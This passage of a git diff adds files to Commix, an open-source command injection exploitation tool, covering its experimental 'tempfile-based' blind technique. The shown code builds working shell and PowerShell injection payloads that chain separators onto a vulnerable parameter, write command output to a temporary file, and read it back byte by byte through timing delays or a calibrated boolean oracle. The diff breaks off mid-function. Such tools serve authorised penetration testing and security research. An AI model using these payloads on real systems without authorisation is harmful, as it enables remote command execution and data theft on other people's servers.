Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.utils import common +from src.utils import settings +from src.core.controller import handler +from src.core.controller import checks + +""" +The "tempfile-based" injection technique on blind OS command injection. +__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive results. +""" + +""" +Calibrated once per confirmed boundary and kept for the rest of the run: 'None' means untried, +'False' means the target was tried and has no oracle to read the created file through, and anything +else is the channel to ask it with. +""" +_ORACLE_CHANNEL_CACHE = {} + +""" +The payload builder for whichever sink is filling the file - the shell's own on an OS command +injection, the evaluated language's grammar on a code injection - the same choice this technique's +delay-based reading already makes. +""" +def _oracle_payloads(): + return checks.tempfile_based_payloads() + +""" +Which of the oracle's shapes are worth trying. A bare exit status and a printed marker are two +different questions on a POSIX target, so both are tried in turn - but cmd.exe hands no exit status +back either way, and an evaluated language answers only by how far the page got, so trying a second, +identical shape there would just double what a failed calibration costs. +""" +def _oracle_shapes(): + if settings.TARGET_OS == settings.OS.WINDOWS or menu.options.eval_sink: + return (True,) + return (False, True) + +""" +The oracle-side payload builder, in the shape the boolean-based technique's own bisection expects - +a length and a byte, asked of the created file rather than of a re-run command. +""" +class _FileOraclePayloads(object): + def get_length(self, separator, OUTPUT_TEXTFILE, candidate_length, operator="-ge"): + return _oracle_payloads().oracle_get_length(separator, OUTPUT_TEXTFILE, candidate_length, operator) + def get_char(self, separator, OUTPUT_TEXTFILE, position, ascii_char, operator="-le"): + return _oracle_payloads().oracle_get_char(separator, OUTPUT_TEXTFILE, position, ascii_char, operator) + +_FILE_ORACLE_PAYLOADS = _FileOraclePayloads() + +""" +Whether this boundary's created file is already known to read through a calibrated oracle - settled +during detection, before enumeration ever asks the target for anything, so a caller about to start +a run of un-timed reads can say so up front rather than only once the first one is already underway. +""" +def oracle_active(url, vuln_parameter, separator): + return bool(_ORACLE_CHANNEL_CACHE.get((url, vuln_parameter, separator))) + +""" +Whether this target's own pages already tell a true answer from a false one for the created file - +learned the same way the boolean-based technique learns it for a command: two questions with known +answers, asked both ways round, each shape (a branch that says nothing, and one made to print a +marker) tried in turn. +""" +def _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG): + from src.core.techniques.boolean_based import bb_handler, bb_injector + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Trying to calibrate a boolean-based oracle for the created file." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + for printed in _oracle_shapes(): + settings.BOOLEAN_PRINTED_STATE = printed + payload_true = _oracle_payloads().oracle_decision(separator, TAG, len(TAG), OUTPUT_TEXTFILE, holds=True) + payload_false = _oracle_payloads().oracle_decision(separator, TAG, len(TAG), OUTPUT_TEXTFILE, holds=False) + if not payload_true or not payload_false: + continue + # Unresolved on the way in - like the delay-based confirmation this replaces, the parameter is + # whatever the first request lands on, discovered rather than given. + page_true, code_true, vuln_parameter, prefix, suffix, reported_payload_true = bb_injector.page_of(payload_true, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + page_false, code_false, vuln_parameter, prefix, suffix, _ = bb_injector.page_of(payload_false, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + # A false answer that reads exactly like the unmodified page means the payload changed nothing + # at all - but only where nothing is ever printed either way (the bare test). The shape that + # prints a marker on a true answer is built so the false answer looks like that same baseline + # on purpose, so this would throw away the one signal it is there for. + if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_false or "") == checks.comparable_page(checks.comparison_baseline(url, http_request_method)): + continue + if not checks.calibrate_boolean_oracle(page_true, page_false, code_true, code_false): + continue + # Asked both ways round, because a page that says yes to anything is not answering the question. + if checks.boolean_oracle(page_true, code_true) is not True: + continue + if checks.boolean_oracle(page_false, code_false) is not False: + continue + # Asked once more, because a page that moves on its own can answer either way by itself - this + # is what tells a real branch apart from noise the diff ratio alone cannot. + again, vuln_parameter = bb_injector.answer(payload_true, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + if again is not True: + continue + return bb_handler.Channel(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter), vuln_parameter, reported_payload_true + + settings.BOOLEAN_PRINTED_STATE = False + return None, vuln_parameter, None + +""" +Whether this target and this separator are ones the oracle could apply to at all - the same +restrictions the boolean-based technique places on itself, checked once before spending a request +on either confirming or reading anything through it. +""" +def _oracle_eligible(separator): + if menu.options.interpreter: + return False + return _oracle_payloads().oracle_supported(separator) + +""" +Said once for the run, whichever way calibration went - so which of the two is actually reading +the created file is never left for the output to imply. +""" +def _announce_channel(channel): + if channel and not settings.TEMPFILE_ORACLE_ANNOUNCED: + settings.TEMPFILE_ORACLE_ANNOUNCED = True + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The created file is read via a calibrated boolean-based oracle." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + elif not channel and not settings.TEMPFILE_TIME_FALLBACK_ANNOUNCED: + settings.TEMPFILE_TIME_FALLBACK_ANNOUNCED = True + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "No oracle could be calibrated; trying time-based extraction." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + +""" +The calibrated channel for this boundary and parameter, calibrating it first where nothing has +tried yet - cached by boundary, so a later call (confirming, then reading) never calibrates twice. +""" +def _channel_for(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG): + cache_key = (url, vuln_parameter, separator) + channel = _ORACLE_CHANNEL_CACHE.get(cache_key) + if channel is None and cache_key not in _ORACLE_CHANNEL_CACHE: + channel, _, _ = _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG) + _ORACLE_CHANNEL_CACHE[cache_key] = channel + _announce_channel(channel) + return channel + +""" +Confirm this boundary through the oracle instead of a delay - the winning payload and the +parameter it landed on, so the caller can report the finding the way it already knows how to. +'None' leaves the caller to confirm it the slow way, exactly as before - the parameter is still +handed back either way, discovered here rather than given, exactly as the delay-based confirmation +this replaces already discovers it. +""" +def try_oracle_confirm(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG): + if not _oracle_eligible(separator): + return None, vuln_parameter + # Nothing asked through the oracle is timed, so it needs none of the raised timeout and the + # disabled keep-alive a request expecting a delay allows for - carried over from detection only + # because nothing has turned it off yet, and paid on every question otherwise. + previous = settings.TIME_RELATED_ATTACK + settings.TIME_RELATED_ATTACK = False + try: + channel, vuln_parameter, reported_payload = _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG) + _announce_channel(channel) + if not channel: + return None, vuln_parameter + # Seeded here so extraction, later, finds this same channel already calibrated instead of + # calibrating a second time now that the parameter it landed on is known. + _ORACLE_CHANNEL_CACHE[(url, vuln_parameter, separator)] = channel + # The value actually sent, folded in during calibration - a fresh, unfolded recomputation here + # would report a payload that replaces the parameter's value instead of following it. + return reported_payload, vuln_parameter + finally: + settings.TIME_RELATED_ATTACK = previous + +""" +Read a command's output off the created file through a calibrated oracle, in place of a delay - +'None' where no oracle could be calibrated for this target, which leaves the caller to fall back +to the delay-based reading this technique already does. +""" +def oracle_extract(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG, cmd): + if not _oracle_eligible(separator): + return None + previous = settings.TIME_RELATED_ATTACK + settings.TIME_RELATED_ATTACK = False + try: + channel = _channel_for(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG) + if not channel: + return None + + from src.core.techniques.boolean_based import bb_handler + from src.core.requests import requests + write_payload = _oracle_payloads().oracle_write(separator, cmd, OUTPUT_TEXTFILE) + if not write_payload: + return None + requests.perform_injection(prefix, suffix, whitespace, write_payload, vuln_parameter, http_request_method, url) + return bb_handler.retrieve(channel, OUTPUT_TEXTFILE, payloads=_FILE_ORACLE_PAYLOADS) + finally: + settings.TIME_RELATED_ATTACK = previous + +""" +The "tempfile-based" injection technique handler +""" +def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + return handler.do_time_related_process(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) + +""" +The exploitation function. +(call the injection handler) +""" +def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response): + settings.WEB_ROOT = "" + # Check if attack is based on time delays. + if not settings.TIME_RELATED_ATTACK : + settings.TIME_RELATED_ATTACK = True + + # The temporary file proves execution either way - which sink filled it is what the type names. + if menu.options.eval_sink: + injection_type = settings.INJECTION_TYPE.BLIND_CE + else: + injection_type = settings.INJECTION_TYPE.BLIND + technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED + # Read lazily by 'time_related_shell()' itself, on the first comparison that actually needs it - + # which is only ever reached once the oracle this technique tries first has failed to calibrate. + # Filled here in advance, the model would be built - and announced - whether or not it ends up + # read at all. + settings.BASELINE_TARGET = (url, http_request_method) + + """ + Asked here for the reason the time-based technique asks it. + + This one reads its answer by how long the target takes too, so answers that swing by seconds hide + its delay inside that swing just as readily - and it was the one time-related technique never + asked about it at all. Read as how steadily the target answers rather than how slowly, so a + target that is only slow is not offered up over its latency. + """ + if checks.response_times_unsteady(): + settings.RESPONSE_DELAYS = True + # Lowering the delay again is read off the same times that are moving about, so it is + # left where it is while they are. + settings.ADJUST_TIME_DELAY_DISABLED = True + while True: + message = "Considerable lagging has been detected in the target's responses, which makes " + message += "time-related techniques unreliable - a higher '--time-sec' (10 or more) stands " + message += "clear of it. How do you want to proceed? [(C)ontinue/(s)kip] " + proceed_option = common.read_input(message, default="C", check_batch=True) + if proceed_option.lower() in settings.CHOICE_PROCEED : + if proceed_option.lower() == "c": + break + elif proceed_option.lower() == "s": + return False + elif proceed_option.lower() == "q": + raise SystemExit() + else: + common.invalid_option(proceed_option) + + if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) is False: + settings.TIME_RELATED_ATTACK = settings.TEMPFILE_BASED_STATE = False + return False + +# eof diff --git a/src/core/techniques/tempfile_based/tfb_injector.py b/src/core/techniques/tempfile_based/tfb_injector.py new file mode 100755 index 0000000000..b4dbac8f8b --- /dev/null +++ b/src/core/techniques/tempfile_based/tfb_injector.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.controller import injector + +""" +The "tempfile-based" injection technique on blind OS command injection. +__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. +""" + +""" +The main command injection exploitation. +""" +def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + +""" +""" +def select_output_filename(technique, tmp_path, TAG, prompt=True): + return injector.select_output_filename(technique, tmp_path, TAG, prompt=prompt) + +""" +False Positive check and evaluation. +""" +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) + +# eof diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py new file mode 100755 index 0000000000..9c90fa83f9 --- /dev/null +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -0,0 +1,547 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks +from src.core.techniques.time_based import tb_payloads +from src.core.techniques.boolean_based import bb_payloads + +""" +The "tempfile-based" technique on Semiblind OS Command Injection. +The available "tempfile-based" payloads. +""" + +""" +The file's contents as one line of text, joined and trimmed the same way every payload here reads +it, so a length and the characters counted off it always agree. +""" +def windows_file_text(OUTPUT_TEXTFILE): + return "([string](Get-Content " + OUTPUT_TEXTFILE + ")).TrimEnd()" + +""" +A command's output as one line of text. Multi-line output is joined, so a single number describes +its length however many lines it came in. +""" +def windows_cmd_text(cmd): + return checks.windows_output_text(cmd) + +def file_text(OUTPUT_TEXTFILE): + """ + The file's contents as the command wrote them, line breaks and all. + + Read by redirection's opposite rather than through a pipe, because the separator under test is + the only one a payload is allowed to chain itself with - and the whole of it, where a reading + that joined the lines with a space used to stand: an output of several lines came back as one + paragraph, and the shape a target answered in was the part of the answer that was lost. The + ordinals every byte is read off are counted the same whether a byte is a newline or a letter, as + the delay-based technique's own reading of them already shows. + + >>> ";" in file_text("/tmp/o.txt") + False + >>> "|" in file_text("/tmp/o.txt") + False + >>> file_text("/tmp/o.txt").endswith("/tmp/o.txt") + True + """ + return "cat " + OUTPUT_TEXTFILE + +def output_text(): + """ + What was read, written back as it stands. + + A substitution hands back what it captured without the newlines it ended with and without + anything else, so by the time this is written the trailing newline is already gone. One trailing + whitespace character used to be taken off here as well, to drop the space the joining above left + in that newline's place - with nothing joined there is no such space, and taking one off anyway + took a character the command had printed: an output of 'ab ' came back as 'ab'. + """ + return "${" + settings.RANDOM_VAR_GENERATOR + "}" + +""" +Tempfile-based decision payload (check if host is vulnerable). +""" +def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): + payload = "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + payload = (chain + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + + checks.windows_probe(checks.WINDOWS_CHAIN, + "powershell.exe -InputFormat none write-host " + checks.windows_output_bytes(windows_file_text(OUTPUT_TEXTFILE)) + ".length", + "EQU", j, timesec) + ) + + else: + if separator in (";", "\n", "\r\n") : + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + # Find the length of the output. + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "sleep $((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1})))" + ) + elif separator in ("&", "&&", settings.PIPE_SEPARATOR) and checks.substitution_nests(): + # The write leaves no output of its own, so the read right after it reads as one word - + # which sequences the two without an operator between them. + payload = separator + tb_payloads._timed_comparison(timesec, j, + tb_payloads._length_arg_expr(settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX)) + elif separator == "&": + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}&&" + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]&&" + + "sleep " + str(timesec) + ) + + elif separator == "&&" : + ampersand = "&" + payload = (ampersand + + "sleep 0" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "} " + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + + "sleep " + str(timesec) + ) + + + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): + payload = "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" + payload = (chain + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + + checks.windows_probe(checks.WINDOWS_CHAIN, python_payload, "EQU", j, timesec) + ) + + else: + if separator in (";", "\n", "\r\n") : + payload = (separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + + # Find the length of the output, using readline(). + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + ) + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + tb_payloads._py_timed_comparison(timesec, j, + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX) + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + + # Find the length of the output, using readline(). + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + ")\") " + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return checks.sanitize_payload_newlines(payload) + +""" +Execute shell commands on vulnerable host. +""" +def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method, operator="-le"): + payload = "" + inverted_operator = "-gt" if operator == "-le" else "-ne" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + # 'GEQ', so the length can be binary searched - an equality test only ever answers the one + # candidate it is given. + win_operator = "GEQ" if operator == "-le" else "EQU" + # Stored as one decimal per character: extraction reads a character off it by number, and + # their count is the length being searched for. + ascii_output = ("powershell.exe -InputFormat none write-host ([int[]](" + + checks.windows_output_bytes(windows_cmd_text(cmd)) + "))") + payload = (chain + + "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + ascii_output + "\"') do " + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + + checks.windows_probe(checks.WINDOWS_CHAIN, + "powershell.exe -InputFormat none write-host " + windows_file_text(OUTPUT_TEXTFILE) + ".split([char]32).length", + win_operator, j, timesec) + ) + else: + settings.USER_APPLIED_CMD = cmd + # The output and its decimals are printed through checks.print_value() and print_words(), so the + # payload uses one printing command only and the output is written back as it was printed. + if separator in (";", "\n", "\r\n") : + arith_operator = "<=" if operator == "-le" else "==" + payload = (separator + + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. + settings.BYTE_LOCALE_EXPORTED + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + + checks.print_value("\"" + output_text() + "\"") + " >" + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + # Find the length of the output. + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "sleep $((" + str(timesec) + "*(" + str(j) + arith_operator + settings.RANDOM_VAR_GENERATOR + "1)))" + separator + + # Transform to ASCII + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + checks.print_words("$" + settings.RANDOM_VAR_GENERATOR + "1") + " >" + OUTPUT_TEXTFILE + ) + elif separator in ("&", "&&", settings.PIPE_SEPARATOR) and checks.substitution_nests(): + arith_operator = "<=" if operator == "-le" else "==" + # Every step is a substitution inside the one command, and they are expanded left to right: + # the command runs, the file is flattened back over itself, the length is read off it, and + # the decimals are written last - after the delay has been scaled, since the word carrying + # them is built before 'sleep' is run. Nothing here chains, so nothing is smuggled. + measured = (settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + checks.print_value("\"" + settings.CMD_SUB_PREFIX + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "\"") + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) + to_decimals = (settings.CMD_SUB_PREFIX + checks.print_words(settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) + + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) + payload = (separator + + tb_payloads._timed_comparison(timesec, j, tb_payloads._length_arg_expr(measured), arith_operator) + + to_decimals) + elif separator == "&": + # The "&&" this payload already carries holds the pin too, which "&" alone would background away. + payload = (separator + + settings.BYTE_LOCALE_EXPORTED + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "&&" + + checks.print_value("\"" + output_text() + "\"") + " >" + OUTPUT_TEXTFILE + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}&&" + + "[ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]&&" + + "sleep " + str(timesec) + "&&" + + # Transform to ASCII + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + + checks.print_words("$" + settings.RANDOM_VAR_GENERATOR + "1") + " >" + OUTPUT_TEXTFILE + ) + + elif separator == "&&" : + ampersand = "&" + payload = (ampersand + + # The command the "&&" needs on its left, pinning while it is there. + settings.BYTE_LOCALE_EXPORTED + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + + checks.print_value("\"" + output_text() + "\"") + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + # Find the length of the output. + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "[ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + + "sleep " + str(timesec) + separator + + # Transform to ASCII + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t u1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + checks.print_words("$" + settings.RANDOM_VAR_GENERATOR + "1") + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ) + + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): + payload = "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" + # Written in quoted, the way the results-based payload writes its own. Unquoted, cmd.exe took + # a '^' of the command's for its own escape and dropped it with no number of them bringing it + # back - measured against a cmd.exe, one, two, three and four carets all arrived as none, + # while the quoted form carries a doubled one as the character it was. + payload = (chain + + "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + checks.caret_escaped(cmd) + "\"') do " + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + + checks.windows_probe(checks.WINDOWS_CHAIN, python_payload, "EQU", j, timesec) + ) + else: + settings.USER_APPLIED_CMD = cmd + if separator in (";", "\n", "\r\n") and checks.substitution_nests(): + payload = (separator + + tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + separator + + # Find the length of the output, using readline(). + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + ) + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + tb_payloads._py_timed_comparison(timesec, j, + tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX) + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + settings.SINGLE_WHITESPACE + + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + else: + pass + + if 